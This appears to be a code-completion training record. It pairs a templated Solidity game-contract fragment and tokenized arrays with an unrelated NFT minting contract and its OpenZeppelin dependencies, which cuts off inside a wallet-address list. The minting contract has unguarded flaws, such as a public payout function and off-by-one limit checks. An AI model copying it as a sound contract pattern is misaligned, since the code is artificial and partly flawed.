The number of neighbors for each tile. uint8 internal constant NUM_NEIGHBORS = $$(NUM_NEIGHBORS); // The maximum number of blocks that can be built on a tile. uint8 internal constant MAX_HEIGHT = $(MAX_HEIGHT); // Packed representation of an empty tower. bytes16 internal constant EMPTY_BLOCKS = $$(hex(2**(8*MAX_HEIGHT)-1)); // The ratio of collected resources to share with neighbors, in ppm. uint64 internal constant TAX_RATE = $$(TO_PPM(TAX_RATE)); // The minimum tile price. uint256 internal constant BASE_TILE_PRICE = $$(uint256(ONE_TOKEN * BASE_TILE_PRICE)); // How much to increase the base tile price every time it's bought, in ppm. uint64 internal constant PURCHASE_MARKUP = $$(TO_PPM(1+PURCHASE_MARKUP)); // Scaling factor for global production limits. uint64 internal constant PRODUCTION_ALPHA = $$(TO_PPM(PRODUCTION_ALPHA)); // The number of seasons. uint64 internal constant NUM_SEASONS = $$(NUM_SEASONS); // The length of each season, in seconds. uint64 internal constant SEASON_DURATION = $$(SEASON_DURATION); // The start of the season calendar, in unix time. uint64 internal constant CALENDAR_START = $$(uint64(CALENDAR_START)); // Multiplier for the total price of a tile when it is in season, in ppm. uint64 internal constant SEASON_PRICE_BONUS = $$(TO_PPM(1+SEASON_PRICE_BONUS)); // Multiplier for to resources generated when a tile is in season, in ppm. uint64 internal constant SEASON_YIELD_BONUS = $$(TO_PPM(1+SEASON_YIELD_BONUS)); // The building cost multiplier for any block at a certain height, in ppm. uint64[MAX_HEIGHT] internal BLOCK_HEIGHT_PREMIUM = [ $$(join(map(range(MAX_HEIGHT), h => TO_PPM(BLOCK_HEIGHT_PREMIUM_BASE**h)), ARRAY_SEP)) ]; // The yield multiplier for any block at a certain height, in ppm. uint64[MAX_HEIGHT] internal BLOCK_HEIGHT_BONUS = [ $$(join(map(range(MAX_HEIGHT), h => TO_PPM(BLOCK_HEIGHT_BONUS_BASE**h)), ARRAY_SEP)) ]; // The linear rate at which each block's costs increase with the total // blocks built, in ppm. uint64[NUM_RESOURCES] internal RESOURCE_ALPHAS = $$(map([0.05, 0.33, 0.66], TO_PPM)); // Recipes for each block type, as whole tokens. uint256[NUM_RESOURCES][NUM_RESOURCES] internal RECIPES = [ [3, 1, 1], [1, 3, 1], [1, 1, 3] ]; // solhint-enable /// @dev Given an amount, subtract taxes from it. function _toTaxed(uint256 amount) internal pure returns (uint256) { return amount - (amount * TAX_RATE) / PPM_ONE; } /// @dev Given an amount, get the taxed quantity. function _toTaxes(uint256 amount) internal pure returns (uint256) { return (amount * TAX_RATE) / PPM_ONE; } /// @dev Given a tile coordinate, return the tile id. function _toTileId(int32 x, int32 y) internal pure returns (bytes10) { return bytes10($$(hex(0x1337 << (8*8)))) | bytes10(uint80(((uint64(y) & uint32(-1)) << (8*4)) | (uint64(x) & uint32(-1)))); } /// @dev Check if a block ID number is valid. function _isValidBlock(uint8 _block) internal pure returns (bool) { return _block <= $$(MAX_BLOCK_VALUE); } /// @dev Check if a tower height is valid. function _isValidHeight(uint8 height) internal pure returns (bool) { return height <= MAX_HEIGHT; } /// @dev Insert packed representation of a tower `b` into `a`. /// @param a Packed represenation of the current tower. /// @param b Packed represenation of blocks to append. /// @param idx The index in `a` to insert the new blocks. /// @param count The length of `b`. function _assignBlocks(bytes16 a, bytes16 b, uint8 idx, uint8 count) internal pure returns (bytes16) { uint128 mask = ((uint128(1) << (count*8)) - 1) << (idx*8); uint128 v = uint128(b) << (idx*8); return bytes16((uint128(a) & ~mask) | (v & mask)); } /// @dev Get the current season. function _getSeason() private view returns (uint128) { return (($(BLOCKTIME) - CALENDAR_START) / SEASON_DURATION) % NUM_SEASONS; } /// @dev Check if a tile is in season (has a bonus in effect). /// @param tile The tile to check. /// @return true if tile is in season. function _isTileInSeason(Tile storage tile) internal view returns (bool) { bytes32 hash = keccak256(abi.encodePacked(address(this), tile.id)); return uint256(hash) % NUM_SEASONS == _getSeason(); } /// @dev Estimate the sqrt of an integer n, returned in ppm, using small /// steps of the Babylonian method. /// @param n The integer whose sqrt is to the found, NOT in ppm. /// @param hint A number close to the sqrt, in ppm. /// @return sqrt(n) in ppm function _estIntegerSqrt(uint64 n, uint64 hint) internal pure returns (uint64) { if (n == 0) return 0; if (n == 1) return PPM_ONE; uint256 _n = uint256(n) * PPM_ONE; uint256 _n2 = _n * PPM_ONE; uint256 r = hint == 0 ? ((uint256(n)+1) * PPM_ONE) / 2 : hint; // #def SQRT_ITERATIONS 3 // #for I in range(SQRT_ITERATIONS) r = (r + _n2 / r) / 2; // #done return uint64(r); } // #if TEST // solhint-disable /* Test functions/properties. *******************************************/ // The current blocktime. uint64 public __blockTime = uint64(block.timestamp); // Set the current blocktime. function __setBlockTime(uint64 t) public { __blockTime = t; } // Advance the current blocktime. function __advanceTime(uint64 dt) public { __blockTime += dt; } // #endif }
The number of resource types.
uint8 internal constant NUM_RESOURCES = $$(NUM_RESOURCES);
1,844,488
[ 1, 1986, 1300, 434, 1058, 1953, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 11890, 28, 2713, 5381, 9443, 67, 11395, 55, 273, 5366, 12, 6069, 67, 11395, 55, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//Contract based on https://docs.openzeppelin.com/contracts/3.x/erc721 // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "./Mintpass.sol"; contract Satoshis is ERC721URIStorage, Ownable, Pausable, ERC721Enumerable, Mintpass { using Counters for Counters.Counter; Counters.Counter private _tokenIds; //Ensure unique tokenURIs are used mapping (string => bool) private _mintedTokenUris; //Collection limits and counters uint256 public tokensLimit; uint256 public tokensMinted; uint256 public tokensAvailable; uint256 public mintPassTokensLimit; uint256 public mintPassTokensMinted; uint256 public wlOneTokensLimit; uint256 public wlOneTokensMinted; //Mint stages bool public wlOneStatus; bool public mintPassStatus; bool public publicMintStatus; bool public gloablMintStatus; //allows for minting to happen even if the contratc is paused & vice versa //Destination addresses address payable teamOne; address payable teamTwo; //Load mint passes mapping(uint256 => address) private _mintPasses; //Mint prices uint256 public publicMintPrice; uint256 public wlMintPrice; //whooray, new Satoshi is minted event UpdateTokenCounts(uint256 tokensMintedNew,uint256 tokensAvailableNew); //Contract constructor constructor(uint256 tokensLimitInit, uint256 wlOneTokensLimitInit, uint256 mintPassTokensLimitInit, address payable destAddOne, address payable destAddTwo) public ERC721("We Are Satoshis","W.A.S.") { //Set global collection size & initial number of available tokens tokensLimit = tokensLimitInit; tokensAvailable = tokensLimitInit; tokensMinted = 0; //Set destination addresses teamOne = destAddOne; teamTwo = destAddTwo; //Set initial mint stages wlOneStatus = true; mintPassStatus = true; publicMintStatus = false; gloablMintStatus = true; //Set token availability per stage wlOneTokensLimit = wlOneTokensLimitInit; mintPassTokensLimit = mintPassTokensLimitInit; //Set counters for whitelists and mintpasses mintPassTokensMinted = 0; wlOneTokensMinted = 0; publicMintPrice = 80000000000000000; wlMintPrice = 60000000000000000; } function masterMint(address to) internal virtual returns (uint256) { require(tokensAvailable >= 1,"All tokens have been minted"); require(gloablMintStatus,"Minting is disabled"); _tokenIds.increment(); uint256 newItemId = _tokenIds.current(); _mint(to,newItemId); tokensMinted = newItemId; tokensAvailable = tokensLimit - newItemId; emit UpdateTokenCounts(tokensMinted,tokensAvailable); return newItemId; } //Minting methods : Mint pass function mintSingleMintPass (address to, uint256 mintPass) public virtual returns (uint256) { require(verifyMintPass(mintPass,to),"This mint pass was used already"); require(mintPassStatus,"Mint pass minting is disabled"); require(mintPassTokensMinted <= mintPassTokensLimit,"All Mint Pass tokens have already been minted"); uint256 newTokenId = masterMint(to); mintPassTokensMinted++; invalidateMintPass(mintPass); return newTokenId; } function multiMintPassMint(address to, uint256 quantity, uint[] memory mintPases) public virtual { require(quantity <= 10,"Can not mint that many tokens at once"); uint256 i; for(i = 0; i < quantity; i++) { mintSingleMintPass(to, mintPases[i]); } } //Minting methods : Whitelist function wlOneMintToken(address to, uint256 quantity) public virtual payable { require(msg.value >= (wlMintPrice*quantity),"Not enough ETH sent"); require(tokensAvailable >= quantity,"All tokens have been minted"); require(wlOneStatus,"Whitelist one is not minting anymore"); require(wlOneTokensMinted <= wlOneTokensLimit,"All whitelist #1 tokens have been minted"); require(quantity <= 10,"Can not mint that many tokens at once"); passOnEth(msg.value); uint256 i; for(i = 0; i < quantity; i++) { masterMint(to); wlOneTokensMinted++; } } //Minting methods : Public function publicMintToken(address to, uint256 quantity) public virtual payable { require(msg.value >= (publicMintPrice*quantity),"Not enough ETH sent"); require(tokensAvailable >= quantity,"All tokens have been minted"); require(publicMintStatus,"The General Public Mint is not active at the moment"); require(quantity <= 10,"Can not mint that many tokens at once"); passOnEth(msg.value); uint256 i; for(i = 0; i < quantity; i++) { masterMint(to); } } //Honorary mint function honoraryMint(address to, uint256 quantity) public virtual onlyOwner { require(tokensAvailable >= quantity,"All tokens have been minted"); require(quantity <= 10,"Can not mint that many tokens at once"); uint256 i; for(i = 0; i < quantity; i++) { masterMint(to); } } /* General methods, utilities. Utilities are onlyOwner. */ //Update collection size function setCollectionSize (uint256 newCollectionSize) public onlyOwner virtual returns (uint256) { require(newCollectionSize >= tokensMinted,"Cant set the collection size this low"); tokensLimit = newCollectionSize; tokensAvailable = tokensLimit - tokensMinted; return tokensLimit; } //Modify the limits for WL1, emergency use only function setWlOneLimit (uint256 newWlOneLimit) public onlyOwner virtual returns (uint256) { wlOneTokensLimit = newWlOneLimit; return wlOneTokensLimit; } //Modify public sale price function setPublicSalePrice (uint256 newPublicPrice) public onlyOwner virtual returns (uint256) { publicMintPrice = newPublicPrice; return publicMintPrice; } //Toggle global minting function toggleGlobalMinting () public onlyOwner virtual { gloablMintStatus = !gloablMintStatus; } //Toggle Wl1 minting function toggleWlOneMinting () public onlyOwner virtual { wlOneStatus = !wlOneStatus; } //Toggle Public minting function togglePublicMinting () public onlyOwner virtual { publicMintStatus = !publicMintStatus; } //Toggle Mint Pass minting function toggleMintPassMinting () public onlyOwner virtual { mintPassStatus = !mintPassStatus; } function pauseContract() public onlyOwner whenNotPaused { _pause(); } function unPauseContract() public onlyOwner whenPaused { _unpause(); } function passOnEth(uint256 amount) public payable { uint singleAmount = amount/2; (bool sentToAddressOne, bytes memory dataToAddressOne) = teamOne.call{value: singleAmount}(""); (bool sentToAddressTwo, bytes memory dataToAddressTwo) = teamTwo.call{value: singleAmount}(""); require(sentToAddressOne, "Failed to send Ether to Team Address One"); require(sentToAddressTwo, "Failed to send Ether to Team Address Two"); } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override (ERC721,ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); require(!paused(), "ERC721Pausable: token transfer while paused"); } function _burn(uint256 tokenId) internal virtual override (ERC721, ERC721URIStorage) { super._burn(tokenId); } function tokenURI(uint256 tokenId) public view virtual override (ERC721, ERC721URIStorage) returns (string memory) { return super.tokenURI(tokenId); } function _baseURI() internal view virtual override (ERC721) returns (string memory) { return "https://meta.wearesatoshis.com/"; } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; /** * @dev ERC721 token with storage based token URI management. */ abstract contract ERC721URIStorage is ERC721 { using Strings for uint256; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = _baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } return super.tokenURI(tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual override { super._burn(tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } //Contract based on https://docs.openzeppelin.com/contracts/3.x/erc721 // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; contract Mintpass { mapping(uint256 => address) private _mintPasses; constructor() { //Available mintpasses _mintPasses[3628] = 0x4e1b83Dbc5F77faF3B3d450c2ea30BCD441d67b2; _mintPasses[3629] = 0x4e1b83Dbc5F77faF3B3d450c2ea30BCD441d67b2; _mintPasses[3630] = 0x4e1b83Dbc5F77faF3B3d450c2ea30BCD441d67b2; _mintPasses[3631] = 0x4e1b83Dbc5F77faF3B3d450c2ea30BCD441d67b2; _mintPasses[3632] = 0x4e1b83Dbc5F77faF3B3d450c2ea30BCD441d67b2; _mintPasses[3633] = 0x826ae03F697BbD3dAD37E9b34e7a8989d9317fc4; _mintPasses[3634] = 0x826ae03F697BbD3dAD37E9b34e7a8989d9317fc4; _mintPasses[3635] = 0x79dbBF34F0158E3497dAd620E40b904a6a5C7F67; _mintPasses[3636] = 0x79dbBF34F0158E3497dAd620E40b904a6a5C7F67; _mintPasses[3637] = 0x79dbBF34F0158E3497dAd620E40b904a6a5C7F67; _mintPasses[3638] = 0x0eCddcF41754360AB129d7Ca4c8ABf220F9c32BD; _mintPasses[3639] = 0x0eCddcF41754360AB129d7Ca4c8ABf220F9c32BD; _mintPasses[3640] = 0x0eCddcF41754360AB129d7Ca4c8ABf220F9c32BD; _mintPasses[3641] = 0xE38ada1fd757915a5B7458b828e00A7416CB8ed7; _mintPasses[3642] = 0xE38ada1fd757915a5B7458b828e00A7416CB8ed7; _mintPasses[3643] = 0xA613e95408dbEfc3aeCB4630BDE04E757Bc46fD8; _mintPasses[3644] = 0xA613e95408dbEfc3aeCB4630BDE04E757Bc46fD8; _mintPasses[3645] = 0x5c5D1c68957EF6E9e46303e3CB02a0e3AecE1678; _mintPasses[3646] = 0x5c5D1c68957EF6E9e46303e3CB02a0e3AecE1678; _mintPasses[3647] = 0xF8f18ff9969aB94299e763e038902262002341CD; _mintPasses[3648] = 0xF8f18ff9969aB94299e763e038902262002341CD; _mintPasses[3649] = 0x5f0Fa6E54B9296622235CC146E02aaEaC667325a; _mintPasses[3650] = 0x5f0Fa6E54B9296622235CC146E02aaEaC667325a; _mintPasses[3651] = 0x5f0Fa6E54B9296622235CC146E02aaEaC667325a; _mintPasses[3652] = 0x5f0Fa6E54B9296622235CC146E02aaEaC667325a; _mintPasses[3653] = 0x5f0Fa6E54B9296622235CC146E02aaEaC667325a; _mintPasses[3654] = 0xE7bFCE6D3613D20ea879430EA78279Ec3eeCB473; _mintPasses[3655] = 0xE7bFCE6D3613D20ea879430EA78279Ec3eeCB473; _mintPasses[3656] = 0xc8c626980f06e95825cf2e12F762D2eaB8CA7b46; _mintPasses[3657] = 0xc8c626980f06e95825cf2e12F762D2eaB8CA7b46; _mintPasses[3658] = 0xc8c626980f06e95825cf2e12F762D2eaB8CA7b46; _mintPasses[3659] = 0x4384293860C81Dc6a8A248a648B6dCa35fF3aA33; _mintPasses[3660] = 0x4384293860C81Dc6a8A248a648B6dCa35fF3aA33; _mintPasses[3661] = 0x4384293860C81Dc6a8A248a648B6dCa35fF3aA33; _mintPasses[3662] = 0x72988B423c86afed473278E8d19a79456C404995; _mintPasses[3663] = 0x72988B423c86afed473278E8d19a79456C404995; _mintPasses[3664] = 0x72988B423c86afed473278E8d19a79456C404995; _mintPasses[3665] = 0x72988B423c86afed473278E8d19a79456C404995; _mintPasses[3666] = 0x72988B423c86afed473278E8d19a79456C404995; _mintPasses[3667] = 0x6F14AFA784Ff0c764ecCB5F7A133403D5b7a4D34; _mintPasses[3668] = 0x6F14AFA784Ff0c764ecCB5F7A133403D5b7a4D34; _mintPasses[3669] = 0x6F14AFA784Ff0c764ecCB5F7A133403D5b7a4D34; _mintPasses[3670] = 0x6F14AFA784Ff0c764ecCB5F7A133403D5b7a4D34; _mintPasses[3671] = 0x6F14AFA784Ff0c764ecCB5F7A133403D5b7a4D34; _mintPasses[3672] = 0x513E8473FC9658c50EA01D4a0D358458b15932c5; _mintPasses[3673] = 0x513E8473FC9658c50EA01D4a0D358458b15932c5; _mintPasses[3674] = 0x513E8473FC9658c50EA01D4a0D358458b15932c5; _mintPasses[3675] = 0x513E8473FC9658c50EA01D4a0D358458b15932c5; _mintPasses[3676] = 0x513E8473FC9658c50EA01D4a0D358458b15932c5; _mintPasses[3677] = 0x399190C47dD486A553dEDCbD5465f811ab15C32B; _mintPasses[3678] = 0x399190C47dD486A553dEDCbD5465f811ab15C32B; _mintPasses[3679] = 0x399190C47dD486A553dEDCbD5465f811ab15C32B; _mintPasses[3680] = 0x399190C47dD486A553dEDCbD5465f811ab15C32B; _mintPasses[3681] = 0x399190C47dD486A553dEDCbD5465f811ab15C32B; _mintPasses[3682] = 0x72988B423c86afed473278E8d19a79456C404995; _mintPasses[3683] = 0x72988B423c86afed473278E8d19a79456C404995; _mintPasses[3684] = 0x6F14AFA784Ff0c764ecCB5F7A133403D5b7a4D34; _mintPasses[3685] = 0x6F14AFA784Ff0c764ecCB5F7A133403D5b7a4D34; _mintPasses[3686] = 0x5f0Fa6E54B9296622235CC146E02aaEaC667325a; _mintPasses[3687] = 0x5f0Fa6E54B9296622235CC146E02aaEaC667325a; _mintPasses[3688] = 0x822166Dc6A1ADc21ae1B7fbA3b700167cf0f0a6c; _mintPasses[3689] = 0x822166Dc6A1ADc21ae1B7fbA3b700167cf0f0a6c; _mintPasses[3691] = 0x822166Dc6A1ADc21ae1B7fbA3b700167cf0f0a6c; _mintPasses[3692] = 0x56E712FC5bc7B92aE2DD96585a5d4985913Bfd23; _mintPasses[3693] = 0x56E712FC5bc7B92aE2DD96585a5d4985913Bfd23; _mintPasses[3694] = 0x876b32129a32B21d86c82b0630fb3c6DDBB0e7B8; _mintPasses[3695] = 